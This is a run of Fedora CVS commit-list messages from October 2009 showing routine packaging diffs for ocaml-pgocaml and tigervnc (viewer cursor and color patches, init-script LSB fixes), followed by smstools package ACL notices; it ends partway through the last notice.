diff -u -p -r1.10 -r1.11
--- ocaml-pgocaml.spec	25 Jul 2009 20:03:21 -0000	1.10
+++ ocaml-pgocaml.spec	8 Oct 2009 13:33:39 -0000	1.11
@@ -2,14 +2,14 @@
 %define debug_package %{nil}
 
 Name:           ocaml-pgocaml
-Version:        1.1
-Release:        10%{?dist}
+Version:        1.3
+Release:        1%{?dist}
 Summary:        OCaml library for type-safe access to PostgreSQL databases
 
 Group:          Development/Libraries
 License:        LGPLv2+ with exceptions
 URL:            http://developer.berlios.de/projects/pgocaml/
-Source0:        http://download.berlios.de/pgocaml/pgocaml-%{version}.tar.gz
+Source0:        http://download.berlios.de/pgocaml/pgocaml-%{version}.tgz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
@@ -17,7 +17,7 @@ BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel, ocaml-ocamldoc
 BuildRequires:  ocaml-extlib-devel
 BuildRequires:  ocaml-pcre-devel, pcre-devel
-BuildRequires:  ocaml-calendar-devel >= 2.0.4
+BuildRequires:  ocaml-calendar-devel >= 2.01.1-2
 BuildRequires:  ocaml-csv-devel
 BuildRequires:  ocaml-camlp4-devel
 
@@ -48,10 +48,8 @@ developing applications that use %{name}
 
 
 %build
-# Don't build or run the test programs because that would need
-# a live PostgreSQL database around.
-make pGOCaml_config.ml pgocaml.cma pgocaml.cmxa pa_pgsql.cmo \
-  pgocaml_prof META
+make depend
+make all
 make doc
 strip pgocaml_prof
 
@@ -96,6 +94,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1.3-1
+- New upstream version 1.3.
+- Simplify build system.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pgocaml/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 May 2008 19:15:57 -0000	1.2
+++ sources	8 Oct 2009 13:33:39 -0000	1.3
@@ -1 +1 @@
-e52d0f88b4ce850aa592a033c7e7b64d  pgocaml-1.1.tar.gz
+dcc98b672d684d7c4da8586a3671a4ac  pgocaml-1.3.tgz



From atkac at fedoraproject.org  Thu Oct  8 13:38:33 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 13:38:33 +0000 (UTC)
Subject: rpms/tigervnc/devel tigervnc10-rh510185.patch, NONE,
	1.1 tigervnc10-rh524340.patch, NONE, 1.1 .cvsignore, 1.8,
	1.9 sources, 1.8, 1.9 tigervnc.spec, 1.20, 1.21 vncserver.init,
	1.2, 1.3 vncserver.sysconfig, 1.1, 1.2
Message-ID: <20091008133833.B58E311C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20369

Modified Files:
	.cvsignore sources tigervnc.spec vncserver.init 
	vncserver.sysconfig 
Added Files:
	tigervnc10-rh510185.patch tigervnc10-rh524340.patch 
Log Message:
- update underlying X source to 1.6.4-0.3.fc11
- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)
- initscript LSB compliance fixes (#523974)
- improve -LowColorSwitch documentation and handling (#510185)
- honor dotWhenNoCursor option (and it's changes) every time (#524340)


tigervnc10-rh510185.patch:
 vncviewer.cxx |    7 +++++++
 vncviewer.man |    4 +++-
 2 files changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE tigervnc10-rh510185.patch ---
unchanged:
--- unix/vncviewer/vncviewer.man	(revision 3902)
+++ unix/vncviewer/vncviewer.man	(working copy)
@@ -156,7 +156,9 @@
 .B \-LowColorLevel, \-LowColourLevel \fIlevel\fP
 Selects the reduced color level to use on slow links.  \fIlevel\fP can range
 from 0 to 2, 0 meaning 8 colors, 1 meaning 64 colors (the default), 2 meaning
-256 colors.
+256 colors. Note that decision if reduced color level is used is made by
+vncviewer. If you would like to force vncviewer to use reduced color level
+use \fB-AutoSelect=0\fP parameter.
 
 .TP
 .B \-PreferredEncoding \fIencoding\fP
only in patch2:
unchanged:
--- unix/vncviewer/vncviewer.cxx	(revision 3902)
+++ unix/vncviewer/vncviewer.cxx	(working copy)
@@ -337,6 +337,13 @@
 			&& !::fullColour.hasBeenSet()
 			&& !::fullColourAlias.hasBeenSet());
   }
+  if (!::fullColour.hasBeenSet() && !::fullColourAlias.hasBeenSet()) {
+    // Default to FullColor=0 if AutoSelect=0 && LowColorLevel is set
+    if (!::autoSelect && (::lowColourLevel.hasBeenSet() ||
+			  ::lowColourLevelAlias.hasBeenSet())) {
+      ::fullColour.setParam(false);
+    }
+  }
   if (!::customCompressLevel.hasBeenSet()) {
     // Default to CustomCompressLevel=1 if CompressLevel is used.
     ::customCompressLevel.setParam(::compressLevel.hasBeenSet());

tigervnc10-rh524340.patch:
 CConn.cxx         |    1 +
 DesktopWindow.cxx |   13 +++++--------
 DesktopWindow.h   |    7 +++++++
 3 files changed, 13 insertions(+), 8 deletions(-)

--- NEW FILE tigervnc10-rh524340.patch ---
Index: unix/vncviewer/DesktopWindow.h
===================================================================
--- unix/vncviewer/DesktopWindow.h	(revision 3903)
+++ unix/vncviewer/DesktopWindow.h	(working copy)
@@ -29,6 +29,7 @@
 #include "TXWindow.h"
 #include "TXViewport.h"
 #include "TXImage.h"
+#include "parameters.h"
 
 class CConn;
 
@@ -54,6 +55,12 @@
   // resetLocalCursor() stops the rendering of the local cursor
   void resetLocalCursor();
 
+  // setNoCursor() sets what to display when no cursor is defined - if dot or
+  // nothing.
+  inline void setNoCursor() {
+    XDefineCursor(dpy, win(), dotWhenNoCursor ? dotCursor : noCursor);
+  }
+
   // Methods forwarded from CConn
   void setColourMapEntries(int firstColour, int nColours, rdr::U16* rgbs);
   void serverCutText(const char* str, rdr::U32 len);
Index: unix/vncviewer/CConn.cxx
===================================================================
--- unix/vncviewer/CConn.cxx	(revision 3903)
+++ unix/vncviewer/CConn.cxx	(working copy)
@@ -684,6 +684,7 @@
       desktop->resetLocalCursor();
   }
   dotWhenNoCursor.setParam(options.dotWhenNoCursor.checked());
+  desktop->setNoCursor();
   checkEncodings();
 }
 
Index: unix/vncviewer/DesktopWindow.cxx
===================================================================
--- unix/vncviewer/DesktopWindow.cxx	(revision 3903)
+++ unix/vncviewer/DesktopWindow.cxx	(working copy)
@@ -79,7 +79,7 @@
                PointerMotionMask | KeyPressMask | KeyReleaseMask |
                EnterWindowMask | LeaveWindowMask);
   createXCursors();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   im = new TXImage(dpy, width(), height());
   if (!serverPF.trueColour)
     im->setPF(serverPF);
@@ -139,12 +139,9 @@
     if (((rdr::U8*)mask)[i]) break;
 
   if (i == mask_len) {
-    if (dotWhenNoCursor) {
+    if (dotWhenNoCursor)
       vlog.debug("cursor is empty - using dot");
-      XDefineCursor(dpy, win(), dotCursor);
-    } else {
-      XDefineCursor(dpy, win(), noCursor);
-    }
+    setNoCursor();
     cursorAvailable = false;
     return;
   }
@@ -206,7 +203,7 @@
 void DesktopWindow::resetLocalCursor()
 {
   hideLocalCursor();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   cursorAvailable = false;
 }
 
@@ -226,7 +223,7 @@
     if (!getPF().equal(cursor.getPF()) ||
         cursor.getRect().is_empty()) {
       vlog.error("attempting to render invalid local cursor");
-      XDefineCursor(dpy, win(), dotCursor);
+      setNoCursor();
       cursorAvailable = false;
       return;
     }


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	28 Aug 2009 11:06:37 -0000	1.8
+++ .cvsignore	8 Oct 2009 13:38:33 -0000	1.9
@@ -1,2 +1,2 @@
 tigervnc-1.0.0.tar.gz
-xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 11:06:37 -0000	1.8
+++ sources	8 Oct 2009 13:38:33 -0000	1.9
@@ -1,2 +1,2 @@
 622c6689a66651419b5431efdee99d5a  tigervnc-1.0.0.tar.gz
-b1517bc2701a7ac947230338f5a7ea9c  xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+bc5cb09b51297251c9f2e25e5719a735  xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm


Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/tigervnc.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- tigervnc.spec	28 Aug 2009 11:29:10 -0000	1.20
+++ tigervnc.spec	8 Oct 2009 13:38:33 -0000	1.21
@@ -1,6 +1,6 @@
 Name:		tigervnc
 Version:	1.0.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -11,7 +11,7 @@ Source0:	%{name}-%{version}.tar.gz
 Source1:	vncserver.init
 Source2:	vncserver.sysconfig
 Source6:	vncviewer.desktop
-Source7:	xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+Source7:	xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libX11-devel, automake, autoconf, libtool, gettext, cvs
@@ -40,6 +40,8 @@ Patch0:		tigervnc-102434.patch
 Patch4:		tigervnc-cookie.patch
 Patch8:		tigervnc-viewer-reparent.patch
 Patch10:	tigervnc10-compat.patch
+Patch11:	tigervnc10-rh510185.patch
+Patch12:	tigervnc10-rh524340.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -103,6 +105,8 @@ popd
 %patch4 -p1 -b .cookie
 %patch8 -p1 -b .viewer-reparent
 %patch10 -p1 -b .compat
+%patch11 -p0 -b .rh510185
+%patch12 -p0 -b .rh524340
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -244,6 +248,13 @@ fi
 %endif
 
 %changelog
+* Mon Oct 05 2009 Adam Tkac <atkac redhat com> 1.0.0-2
+- update underlying X source to 1.6.4-0.3.fc11
+- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)
+- initscript LSB compliance fixes (#523974)
+- improve -LowColorSwitch documentation and handling (#510185)
+- honor dotWhenNoCursor option (and it's changes) every time (#524340)
+
 * Fri Aug 28 2009 Adam Tkac <atkac redhat com> 1.0.0-1
 - update to 1.0.0
 - tigervnc10-rh495457.patch merged to upstream


Index: vncserver.init
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/vncserver.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vncserver.init	13 Jul 2009 10:44:35 -0000	1.2
+++ vncserver.init	8 Oct 2009 13:38:33 -0000	1.3
@@ -65,20 +65,34 @@ start() {
         fi
     fi
     echo
+
+# As written in https://bugzilla.redhat.com/show_bug.cgi?id=523974 (LSB
+# compliance) start of already running service is OK.
+    [ "$RETVAL" -eq 98 ] && return 0
+
     return "$RETVAL"
 }
 
 stop() {
     echo -n $"Shutting down $prog: "
-    for display in ${VNCSERVERS}
-    do
-        echo -n "${display} "
-	export USER="${display##*:}"
-	runuser ${USER} -c "vncserver -kill :${display%%:*}" >/dev/null 2>&1
-    done
+
+    status Xvnc > /dev/null 2>&1
     RETVAL=$?
+
+    # 3 means service is already stopped
+    if ! [ "$RETVAL" -eq 3 ]; then
+	for display in ${VNCSERVERS}; do
+	    echo -n "${display} "
+	    export USER="${display##*:}"
+	    runuser ${USER} -c "vncserver -kill :${display%%:*}" >/dev/null 2>&1
+	done
+	RETVAL=$?
+    else
+	let RETVAL=0
+    fi
+
     [ "$RETVAL" -eq 0 ] && success $"vncserver shutdown" || \
-        failure $"vncserver shutdown"
+	failure $"vncserver shutdown"
     echo
     [ "$RETVAL" -eq 0 ] && rm -f /var/lock/subsys/vncserver
     return "$RETVAL"
@@ -117,9 +131,12 @@ case "$1" in
 	status Xvnc
 	RETVAL=$?
 	;;
+  reload)
+	exit 3
+	;;
   *)
 	echo $"Usage: $0 {start|stop|restart|try-restart|status|force-reload}"
-	exit 3
+	exit 2
 esac
 
 exit "$RETVAL"


Index: vncserver.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/vncserver.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vncserver.sysconfig	3 Apr 2009 17:07:49 -0000	1.1
+++ vncserver.sysconfig	8 Oct 2009 13:38:33 -0000	1.2
@@ -11,11 +11,9 @@
 
 # Use "-nolisten tcp" to prevent X connections to your VNC server via TCP.
 
-# Use "-nohttpd" to prevent web-based VNC clients connecting.
-
 # Use "-localhost" to prevent remote VNC clients connecting except when
 # doing so through a secure tunnel.  See the "-via" option in the
 # `man vncviewer' manual page.
 
 # VNCSERVERS="2:myusername"
-# VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -nohttpd -localhost"
+# VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -localhost"



From atkac at fedoraproject.org  Thu Oct  8 13:39:10 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 13:39:10 +0000 (UTC)
Subject: rpms/tigervnc/devel tigervnc.spec,1.21,1.22
Message-ID: <20091008133910.690F411C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20524

Modified Files:
	tigervnc.spec 
Log Message:
- minor correction in rpm changelog entry



Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/devel/tigervnc.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- tigervnc.spec	8 Oct 2009 13:38:33 -0000	1.21
+++ tigervnc.spec	8 Oct 2009 13:39:10 -0000	1.22
@@ -248,7 +248,7 @@ fi
 %endif
 
 %changelog
-* Mon Oct 05 2009 Adam Tkac <atkac redhat com> 1.0.0-2
+* Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-2
 - update underlying X source to 1.6.4-0.3.fc11
 - remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)
 - initscript LSB compliance fixes (#523974)



From atkac at fedoraproject.org  Thu Oct  8 13:39:33 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Thu,  8 Oct 2009 13:39:33 +0000 (UTC)
Subject: rpms/tigervnc/F-12 tigervnc10-rh510185.patch, NONE,
	1.1 tigervnc10-rh524340.patch, NONE, 1.1 .cvsignore, 1.8,
	1.9 sources, 1.8, 1.9 tigervnc.spec, 1.20, 1.21 vncserver.init,
	1.2, 1.3 vncserver.sysconfig, 1.1, 1.2
Message-ID: <20091008133933.5613211C00DB@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20643

Modified Files:
	.cvsignore sources tigervnc.spec vncserver.init 
	vncserver.sysconfig 
Added Files:
	tigervnc10-rh510185.patch tigervnc10-rh524340.patch 
Log Message:
- update underlying X source to 1.6.4-0.3.fc11
- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)
- initscript LSB compliance fixes (#523974)
- improve -LowColorSwitch documentation and handling (#510185)
- honor dotWhenNoCursor option (and it's changes) every time (#524340)


tigervnc10-rh510185.patch:
 vncviewer.cxx |    7 +++++++
 vncviewer.man |    4 +++-
 2 files changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE tigervnc10-rh510185.patch ---
unchanged:
--- unix/vncviewer/vncviewer.man	(revision 3902)
+++ unix/vncviewer/vncviewer.man	(working copy)
@@ -156,7 +156,9 @@
 .B \-LowColorLevel, \-LowColourLevel \fIlevel\fP
 Selects the reduced color level to use on slow links.  \fIlevel\fP can range
 from 0 to 2, 0 meaning 8 colors, 1 meaning 64 colors (the default), 2 meaning
-256 colors.
+256 colors. Note that decision if reduced color level is used is made by
+vncviewer. If you would like to force vncviewer to use reduced color level
+use \fB-AutoSelect=0\fP parameter.
 
 .TP
 .B \-PreferredEncoding \fIencoding\fP
only in patch2:
unchanged:
--- unix/vncviewer/vncviewer.cxx	(revision 3902)
+++ unix/vncviewer/vncviewer.cxx	(working copy)
@@ -337,6 +337,13 @@
 			&& !::fullColour.hasBeenSet()
 			&& !::fullColourAlias.hasBeenSet());
   }
+  if (!::fullColour.hasBeenSet() && !::fullColourAlias.hasBeenSet()) {
+    // Default to FullColor=0 if AutoSelect=0 && LowColorLevel is set
+    if (!::autoSelect && (::lowColourLevel.hasBeenSet() ||
+			  ::lowColourLevelAlias.hasBeenSet())) {
+      ::fullColour.setParam(false);
+    }
+  }
   if (!::customCompressLevel.hasBeenSet()) {
     // Default to CustomCompressLevel=1 if CompressLevel is used.
     ::customCompressLevel.setParam(::compressLevel.hasBeenSet());

tigervnc10-rh524340.patch:
 CConn.cxx         |    1 +
 DesktopWindow.cxx |   13 +++++--------
 DesktopWindow.h   |    7 +++++++
 3 files changed, 13 insertions(+), 8 deletions(-)

--- NEW FILE tigervnc10-rh524340.patch ---
Index: unix/vncviewer/DesktopWindow.h
===================================================================
--- unix/vncviewer/DesktopWindow.h	(revision 3903)
+++ unix/vncviewer/DesktopWindow.h	(working copy)
@@ -29,6 +29,7 @@
 #include "TXWindow.h"
 #include "TXViewport.h"
 #include "TXImage.h"
+#include "parameters.h"
 
 class CConn;
 
@@ -54,6 +55,12 @@
   // resetLocalCursor() stops the rendering of the local cursor
   void resetLocalCursor();
 
+  // setNoCursor() sets what to display when no cursor is defined - if dot or
+  // nothing.
+  inline void setNoCursor() {
+    XDefineCursor(dpy, win(), dotWhenNoCursor ? dotCursor : noCursor);
+  }
+
   // Methods forwarded from CConn
   void setColourMapEntries(int firstColour, int nColours, rdr::U16* rgbs);
   void serverCutText(const char* str, rdr::U32 len);
Index: unix/vncviewer/CConn.cxx
===================================================================
--- unix/vncviewer/CConn.cxx	(revision 3903)
+++ unix/vncviewer/CConn.cxx	(working copy)
@@ -684,6 +684,7 @@
       desktop->resetLocalCursor();
   }
   dotWhenNoCursor.setParam(options.dotWhenNoCursor.checked());
+  desktop->setNoCursor();
   checkEncodings();
 }
 
Index: unix/vncviewer/DesktopWindow.cxx
===================================================================
--- unix/vncviewer/DesktopWindow.cxx	(revision 3903)
+++ unix/vncviewer/DesktopWindow.cxx	(working copy)
@@ -79,7 +79,7 @@
                PointerMotionMask | KeyPressMask | KeyReleaseMask |
                EnterWindowMask | LeaveWindowMask);
   createXCursors();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   im = new TXImage(dpy, width(), height());
   if (!serverPF.trueColour)
     im->setPF(serverPF);
@@ -139,12 +139,9 @@
     if (((rdr::U8*)mask)[i]) break;
 
   if (i == mask_len) {
-    if (dotWhenNoCursor) {
+    if (dotWhenNoCursor)
       vlog.debug("cursor is empty - using dot");
-      XDefineCursor(dpy, win(), dotCursor);
-    } else {
-      XDefineCursor(dpy, win(), noCursor);
-    }
+    setNoCursor();
     cursorAvailable = false;
     return;
   }
@@ -206,7 +203,7 @@
 void DesktopWindow::resetLocalCursor()
 {
   hideLocalCursor();
-  XDefineCursor(dpy, win(), dotCursor);
+  setNoCursor();
   cursorAvailable = false;
 }
 
@@ -226,7 +223,7 @@
     if (!getPF().equal(cursor.getPF()) ||
         cursor.getRect().is_empty()) {
       vlog.error("attempting to render invalid local cursor");
-      XDefineCursor(dpy, win(), dotCursor);
+      setNoCursor();
       cursorAvailable = false;
       return;
     }


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	28 Aug 2009 11:06:37 -0000	1.8
+++ .cvsignore	8 Oct 2009 13:39:32 -0000	1.9
@@ -1,2 +1,2 @@
 tigervnc-1.0.0.tar.gz
-xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 11:06:37 -0000	1.8
+++ sources	8 Oct 2009 13:39:32 -0000	1.9
@@ -1,2 +1,2 @@
 622c6689a66651419b5431efdee99d5a  tigervnc-1.0.0.tar.gz
-b1517bc2701a7ac947230338f5a7ea9c  xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+bc5cb09b51297251c9f2e25e5719a735  xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm


Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/tigervnc.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- tigervnc.spec	28 Aug 2009 11:29:10 -0000	1.20
+++ tigervnc.spec	8 Oct 2009 13:39:33 -0000	1.21
@@ -1,6 +1,6 @@
 Name:		tigervnc
 Version:	1.0.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -11,7 +11,7 @@ Source0:	%{name}-%{version}.tar.gz
 Source1:	vncserver.init
 Source2:	vncserver.sysconfig
 Source6:	vncviewer.desktop
-Source7:	xorg-x11-server-source-1.6.1.901-5.fc11.x86_64.rpm
+Source7:	xorg-x11-server-source-1.6.4-0.3.fc11.x86_64.rpm
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libX11-devel, automake, autoconf, libtool, gettext, cvs
@@ -40,6 +40,8 @@ Patch0:		tigervnc-102434.patch
 Patch4:		tigervnc-cookie.patch
 Patch8:		tigervnc-viewer-reparent.patch
 Patch10:	tigervnc10-compat.patch
+Patch11:	tigervnc10-rh510185.patch
+Patch12:	tigervnc10-rh524340.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -103,6 +105,8 @@ popd
 %patch4 -p1 -b .cookie
 %patch8 -p1 -b .viewer-reparent
 %patch10 -p1 -b .compat
+%patch11 -p0 -b .rh510185
+%patch12 -p0 -b .rh524340
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -244,6 +248,13 @@ fi
 %endif
 
 %changelog
+* Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-2
+- update underlying X source to 1.6.4-0.3.fc11
+- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629)
+- initscript LSB compliance fixes (#523974)
+- improve -LowColorSwitch documentation and handling (#510185)
+- honor dotWhenNoCursor option (and it's changes) every time (#524340)
+
 * Fri Aug 28 2009 Adam Tkac <atkac redhat com> 1.0.0-1
 - update to 1.0.0
 - tigervnc10-rh495457.patch merged to upstream


Index: vncserver.init
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/vncserver.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vncserver.init	13 Jul 2009 10:44:35 -0000	1.2
+++ vncserver.init	8 Oct 2009 13:39:33 -0000	1.3
@@ -65,20 +65,34 @@ start() {
         fi
     fi
     echo
+
+# As written in https://bugzilla.redhat.com/show_bug.cgi?id=523974 (LSB
+# compliance) start of already running service is OK.
+    [ "$RETVAL" -eq 98 ] && return 0
+
     return "$RETVAL"
 }
 
 stop() {
     echo -n $"Shutting down $prog: "
-    for display in ${VNCSERVERS}
-    do
-        echo -n "${display} "
-	export USER="${display##*:}"
-	runuser ${USER} -c "vncserver -kill :${display%%:*}" >/dev/null 2>&1
-    done
+
+    status Xvnc > /dev/null 2>&1
     RETVAL=$?
+
+    # 3 means service is already stopped
+    if ! [ "$RETVAL" -eq 3 ]; then
+	for display in ${VNCSERVERS}; do
+	    echo -n "${display} "
+	    export USER="${display##*:}"
+	    runuser ${USER} -c "vncserver -kill :${display%%:*}" >/dev/null 2>&1
+	done
+	RETVAL=$?
+    else
+	let RETVAL=0
+    fi
+
     [ "$RETVAL" -eq 0 ] && success $"vncserver shutdown" || \
-        failure $"vncserver shutdown"
+	failure $"vncserver shutdown"
     echo
     [ "$RETVAL" -eq 0 ] && rm -f /var/lock/subsys/vncserver
     return "$RETVAL"
@@ -117,9 +131,12 @@ case "$1" in
 	status Xvnc
 	RETVAL=$?
 	;;
+  reload)
+	exit 3
+	;;
   *)
 	echo $"Usage: $0 {start|stop|restart|try-restart|status|force-reload}"
-	exit 3
+	exit 2
 esac
 
 exit "$RETVAL"


Index: vncserver.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-12/vncserver.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vncserver.sysconfig	3 Apr 2009 17:07:49 -0000	1.1
+++ vncserver.sysconfig	8 Oct 2009 13:39:33 -0000	1.2
@@ -11,11 +11,9 @@
 
 # Use "-nolisten tcp" to prevent X connections to your VNC server via TCP.
 
-# Use "-nohttpd" to prevent web-based VNC clients connecting.
-
 # Use "-localhost" to prevent remote VNC clients connecting except when
 # doing so through a secure tunnel.  See the "-via" option in the
 # `man vncviewer' manual page.
 
 # VNCSERVERS="2:myusername"
-# VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -nohttpd -localhost"
+# VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -localhost"



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:21 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134021.3CA2710F84D@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora devel) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:21 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134021.DC54210F8A3@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora devel) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:22 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134022.C56F910F8A9@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora devel) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:25 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134025.A814410F84D@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora EPEL 4) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:25 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134025.C5CC710F8AF@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora EPEL 4) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:27 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134027.B6C9310F8B4@bastion2.fedora.phx.redhat.com>

mmahut has set the commit acl on smstools (Fedora EPEL 4) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:28 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134028.B5B3510F8B7@bastion2.fedora.phx.redhat.com>

mmahut has set the watchbugzilla acl on smstools (Fedora EPEL 5) to Approved for pcfe

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Thu Oct  8 13:40:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 13:40:28 +0000
Subject: [pkgdb] smstools had acl change status
Message-ID: <20091008134028.B5A9210F8B6@bastion2.fedora.phx.redhat.com>

mmahut has set the watchcommits acl on smstools (Fedora EPEL 5) to Approved for pcfe

To make changes to this package see:
